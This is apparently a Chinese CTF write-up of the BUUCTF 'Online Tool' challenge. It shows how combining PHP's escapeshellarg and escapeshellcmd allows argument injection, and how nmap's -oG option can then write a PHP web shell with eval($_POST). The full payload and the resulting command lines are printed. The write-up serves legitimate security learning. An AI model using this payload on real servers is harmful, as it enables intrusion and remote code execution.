[BUUCTF 2018]Online Tool

0x00:写在前面

这题涉及几个🧀点

escapeshellarg($host);给字符串增加一对单引号,保证shell正常执行。加一对单引号的同时,对字符串内可能存在扰乱执行的符合进行转义e'->'e'\''' 
escapeshellcmd($host);对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。比如 '->\'

以上两个函数是本次拿shell的关键,简单来说就是函数本身单看是没问题的,但配合在一起使用就出现问题了

这里直接上代码进行测试

<?php
if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    echo $host;
    echo "<br/>";
    $host = escapeshellcmd($host);
    echo $host;
    echo "<br/>";
    $a=("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
    echo $a;

}

 上面是题目代码缩减了一下,留作本地测试用,get传入host=1时

 

 

当get传入host=1'时

 

 那么问题就发生在这里了

'1'\\''\'    转义后分为 '1'\\'' 和\' 那么这两个中间就是我们可控的了 ,目前我们已经从单引号里面逃逸出来了,因为单引号里面默认就是字符串,执行不了。

这里引用一下别人的举例

详细分析一下:

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
回到mail中,我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(、-OQueueDirectory=/tmp、-X/var/www/html/test.php、)@a.com',最终的参数就是这样被注入的。

知识点2:nmap写shell文件

nmap -F '<?php phpinfo();?>' -oG hh.php

0x01:开始做题

题目源代码如下

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

 看代码得知要通过escapeshellarg和escapeshellcmd进行绕过单引号的限制

不绕的情况如下

nmap -T5 -sT -Pn --host-timeout 2 -F '\<\?php eval\(\$_POST\[\"a\"\]\)\;\?\> -oG 1.php'

 这里里面的写文件命令就被当做字符串了

绕过以后 才会当做命令来执行

执行我们的nmap 写shell命令

payload如下

'<?php eval($_POST["a"]);?> -oG 1.php '

 

有几个坑:

不加后面的' 文件就会变成1.php'

nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php eval\(\$_POST\["a"\]\)\;\?\> -oG 1.php\'

最后面的单引号前面没有空格文件就会变成1.php\\ 所以是需要注意的地方

nmap -T5 -sT -Pn --host-timeout 2 -F ''\\''\<\?php eval\(\$_POST\["a"\]\)\;\?\> -oG 1.php'\\'''

 

 

 
posted @ 2020-05-15 16:56  Tkitn  阅读(497)  评论(0编辑  收藏  举报